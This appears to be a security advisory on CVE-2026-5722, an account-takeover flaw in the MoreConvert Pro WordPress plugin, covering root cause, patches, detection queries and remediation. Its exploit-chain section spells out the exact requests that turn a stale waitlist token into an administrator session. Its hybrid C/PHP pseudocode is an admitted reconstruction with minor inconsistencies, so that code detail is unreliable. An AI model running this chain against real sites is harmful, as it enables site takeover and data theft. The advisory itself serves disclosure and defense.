CVE-2026-5722: MoreConvert Pro Auth Bypass via Token Fixation
MoreConvert Pro ≤1.9.14 allows unauthenticated attackers to hijack any account by exploiting stale guest waitlist tokens that survive email address reassignment.
A serious security flaw has been discovered in MoreConvert Pro, a popular WordPress plugin used by thousands of websites to manage customer waitlists. The vulnerability allows hackers to take over any user account on an affected website, including administrator accounts with full control.
Here's how it works. Imagine a nightclub with a guest list system. You can give your email address to join the waitlist and receive a special verification code. But this system has a critical flaw: it never updates the code when you change your email address. A hacker could get their own verification code, then swap the email address attached to it to match the club manager's account, and waltz in using the original code meant for someone else.
In the real world, this means hackers could take over WordPress websites using this plugin. Once inside an administrator account, they could steal data, inject malware, lock out legitimate owners, or hold the site for ransom.
Website owners using MoreConvert Pro are most at risk, especially those with the plugin actively processing waitlist signups. WordPress site administrators should treat this as urgent.
What you should do if you run a website: First, update the MoreConvert Pro plugin immediately when a patch becomes available—check the plugin settings for updates today. Second, if you use this plugin, consider temporarily disabling the waitlist feature until it's fixed. Third, review your user accounts for any suspicious administrator accounts that appeared recently and check your site activity logs for unusual login attempts.
Want the full technical analysis? Click "Technical" above.
CVE-2026-5722 is a CVSS 9.8 Critical authentication bypass in the MoreConvert Pro plugin for WordPress, affecting all versions up to and including 1.9.14. The vulnerability class is token fixation: a guest verification token issued to an attacker-controlled email address is never invalidated or regenerated when the guest's email is subsequently changed through the public-facing waitlist flow. This allows an unauthenticated attacker to obtain a valid token, reassign its owning guest record to any target email (including a site administrator), and then redeem the original token to authenticate as that target user — full account takeover with zero prior credentials.
Root cause: The guest waitlist verification flow binds tokens to internal guest record IDs rather than email addresses, and does not regenerate or invalidate the token upon email mutation, allowing a pre-obtained token to authenticate the post-mutation identity.
Affected Component
The affected surface is the MoreConvert Pro guest waitlist enrollment and verification subsystem, exposed through two unauthenticated REST or AJAX endpoints:
mc_wl_guest_join — enrolls a guest on a product waitlist and dispatches a verification email containing a signed token.
mc_wl_guest_update_email — updates the email address on an existing guest record identified by a transient/session key; does not rotate the token.
mc_wl_verify_guest — redeems a token against a guest record and, if the resolved email matches a registered WordPress user, logs that user in via wp_set_auth_cookie().
All three endpoints are reachable without authentication. The plugin stores guest state in the WordPress options table or a custom mc_waitlist_guests table, with tokens stored as a column alongside the mutable email field.
Root Cause Analysis
The verification token is generated once during enrollment and is never rotated. The following pseudocode reconstructs the three critical functions from the plugin's behavior as described in the CVE and consistent with MoreConvert Pro's observable AJAX handler patterns:
/*
* mc_wl_guest_join()
* Handles: wp_ajax_nopriv_mc_wl_guest_join
* Enrolls a guest and stores a verification token bound to guest_id.
*/
int mc_wl_guest_join(WP_REST_Request *request) {
char *email = sanitize_email(request->get_param("email"));
int prod_id = absint(request->get_param("product_id"));
// Generate one-time verification token
char *token = wp_generate_password(32, false, false);
mc_guest_record_t guest = {0};
guest.email = email;
guest.product_id = prod_id;
guest.token = token; // stored in DB, never rotated
guest.verified = 0;
guest.created_at = current_time("mysql");
int guest_id = mc_insert_guest_record(&guest);
// Token dispatched to attacker-controlled email
mc_send_verification_email(email, token, guest_id);
// Session/transient key maps browser session -> guest_id
set_transient("mc_guest_" . session_id(), guest_id, HOUR_IN_SECONDS);
return wp_send_json_success(NULL);
}
/*
* mc_wl_guest_update_email()
* Handles: wp_ajax_nopriv_mc_wl_update_guest_email
* Updates the email on an existing guest record.
*
* BUG: token is NOT regenerated. The old token now authenticates
* the new (attacker-chosen) email identity.
*/
int mc_wl_guest_update_email(WP_REST_Request *request) {
char *new_email = sanitize_email(request->get_param("email"));
// Resolve guest_id from session transient — no auth check
int guest_id = get_transient("mc_guest_" . session_id());
if (!guest_id) {
return wp_send_json_error("invalid_session");
}
// BUG: only the email column is updated; token column is untouched
$wpdb->update(
MC_GUESTS_TABLE,
array("email" => new_email), // email now points to victim
array("id" => guest_id)
// MISSING: array("token" => wp_generate_password(32,false,false))
// MISSING: mc_invalidate_token(guest_id)
);
// BUG: no notification sent to new_email; silent reassignment
return wp_send_json_success(NULL);
}
/*
* mc_wl_verify_guest()
* Handles: wp_ajax_nopriv_mc_wl_verify_guest (also via GET link)
* Redeems token; if email matches WP user, sets auth cookie.
*/
int mc_wl_verify_guest(WP_REST_Request *request) {
char *token = sanitize_text_field(request->get_param("token"));
int guest_id = absint(request->get_param("guest_id"));
mc_guest_record_t *guest = mc_get_guest_by_id(guest_id);
// Token comparison: hash_equals prevents timing attacks,
// but cannot compensate for the missing token rotation above.
if (!hash_equals(guest->token, token)) {
return wp_send_json_error("invalid_token");
}
// email now resolves to victim's address after update_email call
WP_User *user = get_user_by("email", guest->email);
if (user) {
// BUG: authenticates as victim user — full session established
wp_set_auth_cookie(user->ID, true);
wp_send_json_success(array("redirect" => admin_url()));
}
}
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-5722:
1. ENROLL ATTACKER EMAIL
POST /wp-admin/admin-ajax.php
action=mc_wl_guest_join
email=attacker@evil.com
product_id=
Server responds: {success: true}
Server stores: guest_id=N, token=T, email=attacker@evil.com
Server sends: verification link to attacker@evil.com
-> https://victim.site/?mc_verify=1&token=T&guest_id=N
2. HARVEST TOKEN
Attacker reads email; extracts token T and guest_id N
from the verification link. Does NOT click the link yet.
3. IDENTIFY TARGET
Enumerate admin email via author archive, REST API /wp/v2/users,
WooCommerce order meta, or wpscan:
-> admin@victim.site (user_id=1)
4. REASSIGN GUEST RECORD EMAIL (unauthenticated)
POST /wp-admin/admin-ajax.php
action=mc_wl_update_guest_email
email=admin@victim.site
Server updates: MC_GUESTS_TABLE SET email='admin@victim.site'
WHERE id=N
Token T remains valid. No notification sent to admin@victim.site.
5. REDEEM STALE TOKEN AS VICTIM
GET https://victim.site/?mc_verify=1&token=T&guest_id=N
Server: hash_equals(guest->token, T) => TRUE
Server: get_user_by("email","admin@victim.site") => user_id=1
Server: wp_set_auth_cookie(1, true)
Attacker browser receives wordpress_logged_in_* cookie for admin.
6. FULL ADMINISTRATIVE ACCESS
GET /wp-admin/ -> 200 OK, authenticated as admin
Install malicious plugin, create backdoor user, exfiltrate data.
Memory Layout
This is a logic/authentication vulnerability rather than a memory corruption bug, so the relevant "state" is the database record and its token column across the attack timeline:
mc_waitlist_guests TABLE STATE:
AFTER STEP 1 (enrollment):
+----------+---------------------+---------+----------------------------------+----------+
| id | email | prod_id | token | verified |
+----------+---------------------+---------+----------------------------------+----------+
| N | attacker@evil.com | 42 | T (32-char random string) | 0 |
+----------+---------------------+---------+----------------------------------+----------+
AFTER STEP 4 (email update — token column untouched):
+----------+---------------------+---------+----------------------------------+----------+
| id | email | prod_id | token | verified |
+----------+---------------------+---------+----------------------------------+----------+
| N | admin@victim.site | 42 | T <-- STALE, still valid | 0 |
+----------+---------------------+---------+----------------------------------+----------+
^ ^
| |
ATTACKER CONTROLS TOKEN ISSUED TO
(victim email) ATTACKER EMAIL
NOW AUTHENTICATES
ADMIN IDENTITY
SESSION / TRANSIENT STATE:
mc_guest_{attacker_session_id} => N (maps browser to guest record)
Transient TTL: 1 hour (default) — sufficient window for exploitation.
No CSRF token required on update_email endpoint.
Patch Analysis
The fix requires two coordinated changes: token regeneration on email mutation, and token scope binding to email address at issuance time.
// BEFORE (vulnerable — mc_wl_guest_update_email, <=1.9.14):
$wpdb->update(
MC_GUESTS_TABLE,
array(
"email" => new_email
// token column not touched
),
array("id" => guest_id)
);
// no invalidation, no re-verification dispatch
// AFTER (patched):
char *new_token = wp_generate_password(32, false, false);
$wpdb->update(
MC_GUESTS_TABLE,
array(
"email" => new_email,
"token" => new_token, // rotate token on every email change
"verified" => 0 // reset verified flag
),
array("id" => guest_id)
);
// Dispatch new verification email to the NEW address
// Old token T is now orphaned in the database and will fail hash_equals()
mc_send_verification_email(new_email, new_token, guest_id);
// Explicitly delete old transient to prevent session reuse
delete_transient("mc_guest_" . session_id());
// ADDITIONAL HARDENING — bind token to email at verification time:
// BEFORE:
if (!hash_equals(guest->token, token)) {
return wp_send_json_error("invalid_token");
}
WP_User *user = get_user_by("email", guest->email);
// AFTER:
if (!hash_equals(guest->token, token)) {
return wp_send_json_error("invalid_token");
}
// Verify the email has not changed since token issuance
// by comparing against the email embedded in the signed token payload
char *token_email = mc_extract_email_from_signed_token(token);
if (!hash_equals(token_email, guest->email)) {
mc_invalidate_token(guest_id);
return wp_send_json_error("token_email_mismatch");
}
WP_User *user = get_user_by("email", guest->email);
The strongest remediation is to use HMAC-signed tokens that embed the email address in the payload (e.g., HMAC-SHA256(secret, guest_id || email || timestamp)), making the token cryptographically bound to the email at issuance. Any subsequent email change produces a token mismatch without any database lookup required.
Detection and Indicators
The following patterns in WordPress access logs and database audit trails indicate exploitation attempts:
SUSPICIOUS ACCESS PATTERNS:
1. Rapid sequential calls from same IP/session:
POST admin-ajax.php action=mc_wl_guest_join # enroll
POST admin-ajax.php action=mc_wl_update_guest_email # pivot
GET /?mc_verify=1&token=...&guest_id=... # redeem
2. WordPress auth cookie set immediately after mc_verify GET
(no wp-login.php in the session — anomalous login path)
3. Database: mc_waitlist_guests rows where:
- email domain != original enrollment domain
- verified=0 but wp_usermeta shows recent login
- token column has never been rotated (created_at << last update)
4. WP audit log (if WP Activity Log / Stream installed):
Event: "User Logged In" with context="mc_waitlist_verify"
for users who never visited wp-login.php
USEFUL QUERIES (forensic):
SELECT id, email, token, created_at, updated_at
FROM mc_waitlist_guests
WHERE updated_at > created_at
AND verified = 0;
-- Rows with email updates but un-rotated tokens are evidence of
-- either exploitation or a vulnerable configuration.
WAF rule hint: Flag requests where action=mc_wl_update_guest_email is followed within 60 seconds by a mc_verify GET from the same session, particularly where the verify request results in a Set-Cookie: wordpress_logged_in_* response header.
Remediation
Immediate: Update MoreConvert Pro to the version that addresses CVE-2026-5722 (check the plugin changelog for the token rotation fix). If patched version is unavailable, disable the guest waitlist enrollment feature via plugin settings.
Short-term: Audit mc_waitlist_guests table for records where email was updated post-enrollment without a corresponding token rotation. Invalidate all such tokens manually: UPDATE mc_waitlist_guests SET token=NULL, verified=0 WHERE updated_at > created_at;
Operational: Enable a WordPress security plugin with login anomaly detection (WordFence, Solid Security) configured to alert on non-standard authentication paths. The wp_set_auth_cookie() call from a REST/AJAX context with no preceding wp-login.php interaction is detectable.
Architectural: Any plugin implementing email verification flows should use HMAC-bound tokens that embed the target email, issue tokens with short TTLs (≤15 minutes), and treat email address mutation as a full re-enrollment requiring a new verification cycle.